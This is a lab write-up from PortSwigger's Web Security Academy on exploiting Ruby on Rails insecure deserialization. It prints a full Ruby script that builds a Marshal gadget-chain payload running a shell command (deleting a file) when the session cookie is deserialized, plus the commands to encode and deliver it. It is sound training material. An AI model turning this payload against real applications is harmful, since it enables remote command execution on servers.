Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type Insecure Deserialization — Ruby on Rails, Documented Gadget Chain
Difficulty Practitioner
Objective Find a documented exploit, adapt it to create a malicious serialized object, and delete morale.txt from Carlos's home directory

Exploiting Ruby Deserialization Using a Documented Gadget Chain

I logged in as wiener:peter and highlighted the session cookie in Burp's Inspector:

Screenshot

The decoded value is Ruby's Marshal serialization — binary, not the PHP text format from previous labs. The exploitation pattern is the same though: inject a serialized object of a class that exists in the app's dependencies, with properties set to trigger dangerous method calls during deserialization.

Researching documented Ruby deserialization gadget chains, the "Universal Deserialisation Gadget for Ruby 2.x-3.x" by vakzz on devcraft.io covers exactly this scenario — chaining through Net::WriteAdapter, Gem::RequestSet, and Gem::Package::TarReader to reach Kernel.system, without needing any application-specific source code:

Screenshot

I took the PoC and adapted it to execute rm /home/carlos/morale.txt and output base64 directly:

#!/usr/bin/ruby

require 'base64'

Gem::SpecFetcher
Gem::Installer

module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")

n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
puts Base64.encode64(payload)

The chain requires Ruby 2.x — current Ruby 3.3.8 doesn't support it. I spun up a 2.7 container to run it cleanly:

docker run --rm -it docker.io/library/ruby:2.7 bash

Running the script and stripping the base64 line breaks that Base64.encode64 inserts by default — the cookie needs to be a single uninterrupted string:

ruby teto.rb | tr -d '\n'; echo
Screenshot

Pasting the base64 payload as the session cookie in browser storage:

Screenshot

The server deserialized the Marshal object, this makes the gadget chain triggered, and rm /home/carlos/morale.txt its executed

Lab solved >:P

Resources